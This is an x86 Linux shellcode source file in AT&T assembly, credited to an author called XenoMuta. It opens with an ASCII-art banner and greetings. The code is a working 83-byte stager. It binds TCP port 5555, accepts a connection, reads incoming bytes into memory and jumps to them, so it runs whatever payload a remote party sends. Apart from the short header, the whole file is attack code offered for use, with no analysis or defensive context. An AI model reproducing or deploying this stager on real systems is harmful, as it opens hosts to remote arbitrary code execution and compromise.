/*
    _  __                 __  ___      __       
   | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
   |   / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
  /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ / 
 /_/|_\___/_/ /_/\____/_/  /_/\__,_/\__/\__,_/  

 xenomuta\x40phreaker\x2enet
 http://xenomuta.tuxfamily.org/ - Methylxantina 256mg

 Description: 
 linux/x86 listens for shellcode on tcp/5555 and jumps to it
 OS: Linux
 Arch: x86
 Length: 83 bytes
 Author: XenoMuta

 greetz to: 
  str0k3 (tnx for your effort), emra (fragancia),
  fr1t0l4y (dejate ver), garay (no me olvido de los pobres ;p )
  - God bless you all -
*/
.global _start

_start:
  xor %ebx, %ebx
  mov %ebx, %eax

_socket:
  push $0x6
  push $0x1
  push $0x2
  mov $0x66, %al  
  incb %bl
  mov %esp, %ecx
  int $0x80

_bind:
  mov %eax, %edi
  xor %edx, %edx
  push %edx
  pushw $0xb315  /* 5555 */
  pushw %bx
  mov %esp, %ecx
  push $0x10
  push %ecx
  push %edi
  mov $0x66, %al
  incb %bl
  mov %esp, %ecx
  int $0x80

_listen:
  incb %bl
  push $0x1
  push %edi
  mov $0x66, %al
  incb %bl
  mov %esp, %ecx
  int $0x80

_accept:
  push %edx
  push %edx
  push %edi
  mov $0x66, %al
  incb %bl
  mov %esp, %ecx
  int $0x80
  mov %eax, %ebx

_read:
  mov $0x3, %al
  mov %esp, %ecx
  mov $0x7ff, %dx
  incb %dl
  int $0x80
  jmp *%ecx  /* Jump to our shellcode */